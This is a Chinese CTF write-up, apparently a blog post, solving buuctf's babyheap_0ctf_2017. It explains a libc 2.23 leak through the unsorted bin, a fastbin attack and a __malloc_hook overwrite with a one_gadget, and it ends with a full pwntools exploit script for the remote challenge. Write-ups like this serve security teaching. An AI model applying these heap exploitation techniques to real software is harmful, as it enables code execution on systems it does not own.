Pwn buuctf 合集

7※ babyheap_0ctf_2017

  • 考点:fastbin attack - chunk extend

  • checksec 检查保护,保护全开:

    image

  • buuctf 上没给 libc,根据 writeup 得知赛时是 libc 2.23,那么这个版本没有 tcache 结构,堆地址从 0x00 开始分配。

  • 菜单题目依次检查各功能,简单逆向一下:

  • 在 Add 中发现使用 calloc 会清空,且只能控制申请大小:

    image

  • 在 Edit 中发现存在堆溢出,没有检查 size 大小:

    image

  • 在 Del 里会清空指针:

    image

  • 由于我们需要泄露 libc 地址,利用 unsorted bin 的双向链表特性,在 unsorted bin 内只有一个堆块时,其 fd 和 bk 指针都为 top chunk 的指针地址。而这个指针保存在 main_arena 的 0x58 偏移处,而 main_arena 又在 libc库 中,可以知道其对于 libc_base 的偏移量,那么就可以计算出 libc 的基地址了。


  • 由于本题没有 UAF 漏洞,我们需要想办法使两个指针指向同一个 chunk 实现 UAF,采用堆溢出。

  • 原理如下:

    1.申请 5 个大小相同的 fastbin 堆,编号 chunk0 - chunk4;

    2.依次释放 chunk1,chunk2,此时 chunk2 的 fd 指针指向 chunk1;

    3.通过 chunk0 堆溢出修改 chunk2 的 fd 为 chunk4(只需要修改末位);

    4.依次申请两个堆,此时第二个堆便会是 chunk4,那么就有两个指针指向同一个堆可以实现 UAF。


  • 由于我们要 UAF 一个 unsorted bin 里的堆,所以 chunk4 申请为 0x88,然后再申请一个 chunk5 防止 chunk4 释放后向下合并入 top chunk。

  • 由于 fastbin 的申请时只检查 目标块的大小 和 目标块的下一块的是否标志为 pre_inuse,那么我们在之前的第四步之前通过堆溢出 chunk3 来修改 chunk4 的大小为相同的 进入 fastbin 的 0x21(1 为 pre_inuse),然后就可以实现 UAF 了:

    Add(0x18)   #0  用来溢出 chunk2
    Add(0x18)   #1
    Add(0x18)   #2
    Add(0x18)   #3  用来溢出 chunk4
    Add(0x88)   #4
    Add(0x18)   #5  防止向下合并
    
    Del(1)
    Del(2)
    py = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
    Edit(0,py)
    
    py = p64(0)*3 + p64(0x21)
    Edit(3,py)
    Add(0x18)   #1  原2
    Add(0x18)   #2  原4,此时 2 里面保存着 chunk4 的指针
    
  • 然后我们再次通过堆溢出 chunk3 将 chunk4 改回 0x91 的大小,将其释放进入 unsorted bin,就可以通过 Show(2) 来输出 chunk4 的 fd 指针,就可以泄露 libc 了:

    py = p64(0)*3 + p64(0x91)
    Edit(3,py)
    Del(4)  # chunk4 进入 unsorted bin
    Show(2)
    
  • 接着正常流程是通过动态调试算出这个泄露的地址与 libc_base 的偏移量,然后将这个地址减去偏移量算出 libc_base,但是 buuctf 上没给 libc 和 ld 库,我们在知道是 libc 2.23 后可以记住,这个版本的该地址存在 main_arena 结构体的 0x58 偏移位置,而 main_arena 与 libc_base 的偏移量为 0x3c4b20,malloc_hook 与 libc_base 的偏移量为 0x3c4b10,one_gadget 与 libc 的偏移量为 0x4526a

    main_arena_delta = 0x3c4b20
    malloc_hook_delta = 0x3c4b10
    one_gadget_delta = 0x4526a
    libc_base = uu64() - main_arena_delta - 0x58
    malloc_hook = libc_base + malloc_hook_delta
    one_gadget = libc_base + one_gadget_delta
    print(hex(libc_base))
    print(hex(malloc_hook))
    print(hex(one_gadget))
    
  • 由于 malloc_hook 前面会有一个指针地址以 0x7f 开头,那么可以用来伪装成大小为 0x70 的堆,所以我们只需要让 chunk4 为 0x70 大小的堆进入 fastbin,然后通过 chunk2 来 UAF 在 malloc_hook 前申请一个堆,就可以修改 malloc_hook 了:

    Add(0x68)   #4  0x70 的 fastbin,malloc_hook 前有 0x7f 的数据,可以伪装大小为 0x70 的堆,需要 Add(0x60-0x6f)
    Del(4)  # 进入 fastbin
    py = p64(malloc_hook-0x23)
    Edit(2,py)  # UAF 修改 4 的 fd 指针
    Add(0x68)   #4
    Add(0x68)   #6  malloc_hook - 0x23
    
  • 然后就可以修改 malloc_hook 为 one_gadget 了,接着随便 Add 以下即可触发 malloc_hook 即触发 one_gadget:

    py = b'a' * 0x13 + p64(one_gadget)
    Edit(6,py)  # malloc_hook = one_gadget
    
    Add(0x48)   # one_gadget
    
  • 完整 exp:

    # -*- coding: utf-8 -*-
    from ctypes import *
    from time import *
    import tqdm
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    from sympy.abc import delta
    # context.terminal = ['tmux','splitw','-h']
    # context(log_level = "debug",arch = "amd64",os = 'linux')
    # context(arch = "i386",os = 'linux')
    context(arch = "amd64",os = 'linux')
    ip = 'node5.buuoj.cn'; port = '25602'
    
    # patchelf --set-interpreter ./xxxxld ./1
    # patchelf --replace-needed libc.so.6 ./xxxxlibc ./1
    def connect():
    	global p,elf,libc,libclib,libc_name,file_name,ld,ld_name
    	file_name = './babyheap_0ctf_2017'
    	# ld_name = './ld-2.31.so'
    	local = 0
    	if local:
    		# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
    		# libc_name = './libc-2.31.so'
    		# libclib = cdll.LoadLibrary('./libc-2.31.so')
    		p = process(file_name)
    	else:
    		# libc_name = 'libc-2.31.so'
    		# libclib = cdll.LoadLibrary('./libc-2.31.so')
    		p = remote(ip,port)
    	elf = ELF(file_name)
    	# ld = ELF(ld_name)
    	# libc = ELF(libc_name)
    
    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda n                  :p.recv(n)
    rl      = lambda n                  :p.recvline(n)
    ru      = lambda x                  :p.recvuntil(x)
    rud     = lambda x                  :p.recvuntil(x, drop = True)
    uu64    = lambda                    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    ita     = lambda                    :p.interactive()
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    pad     = lambda *args              :bytes.join(b'',[p64(x) for x in args])
    
    def db():
    	gdb.attach(p)
    
    def cmd(idx):
    	sla(b'Command: ',str(idx).encode())
    
    def Add(size):
    	cmd(1)
    	sla(b'Size: ',str(size).encode())
    
    def Show(idx):
    	cmd(4)
    	sla(b'',str(idx).encode())
    
    def Edit(idx,content):
    	cmd(2)
    	sla(b'',str(idx).encode())
    	sla(b'',str(len(content)).encode())
    	sa(b'',content)
    
    def Del(idx):
    	cmd(3)
    	sla(b'',str(idx).encode())
    
    # ropper --file 1 --search "pop|ret" | grep "rdi"
    # ropper --file 1 --search "ret"
    def pwn():
    	Add(0x18)   #0  用来溢出 chunk2
    	Add(0x18)   #1
    	Add(0x18)   #2
    	Add(0x18)   #3  用来溢出 chunk4
    	Add(0x88)   #4
    	Add(0x18)   #5  防止向下合并
    
    	Del(1)
    	Del(2)
    	py = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
    	Edit(0,py)
    
    	py = p64(0)*3 + p64(0x21)
    	Edit(3,py)
    	Add(0x18)   #1  原2
    	Add(0x18)   #2  原4,此时 2 里面保存着 4 的指针
    
    	py = p64(0)*3 + p64(0x91)
    	Edit(3,py)
    	Del(4)  # chunk4 进入 unsorted bin
    	Show(2)
    
    	# db()    # 动态调试出 保存在 0x58 的位置,这是 libc 2.23 的保存位置
    	main_arena_delta = 0x3c4b20
    	malloc_hook_delta = 0x3c4b10
    	one_gadget_delta = 0x4526a
    	libc_base = uu64() - main_arena_delta - 0x58
    	malloc_hook = libc_base + malloc_hook_delta
    	one_gadget = libc_base + one_gadget_delta
    	print(hex(libc_base))
    	print(hex(malloc_hook))
    	print(hex(one_gadget))
    
    	Add(0x68)   #4  0x70 的 fastbin,malloc_hook 前需要伪装 0x70 大小的堆
    	Del(4)  # 进入 fastbin
    	py = p64(malloc_hook-0x23)
    	Edit(2,py)  # fastbin attack 修改 4
    	Add(0x68)   #4  malloc_hook 前有 0x7f 的数据,可以伪装大小为 0x70 的堆,需要 Add(0x60-0x6f)
    	Add(0x68)   #6  malloc_hook - 0x23
    
    	py = b'a' * 0x13 + p64(one_gadget)
    	Edit(6,py)  # malloc_hook = one_gadget
    
    	Add(0x48)   # one_gadget
    	p.interactive()
    connect()
    pwn()
    
  • 参考文章:babyheap_0ctf_2017



posted @ 2024-11-29 08:41  浅叶梦缘  阅读(1)  评论(0编辑  收藏  举报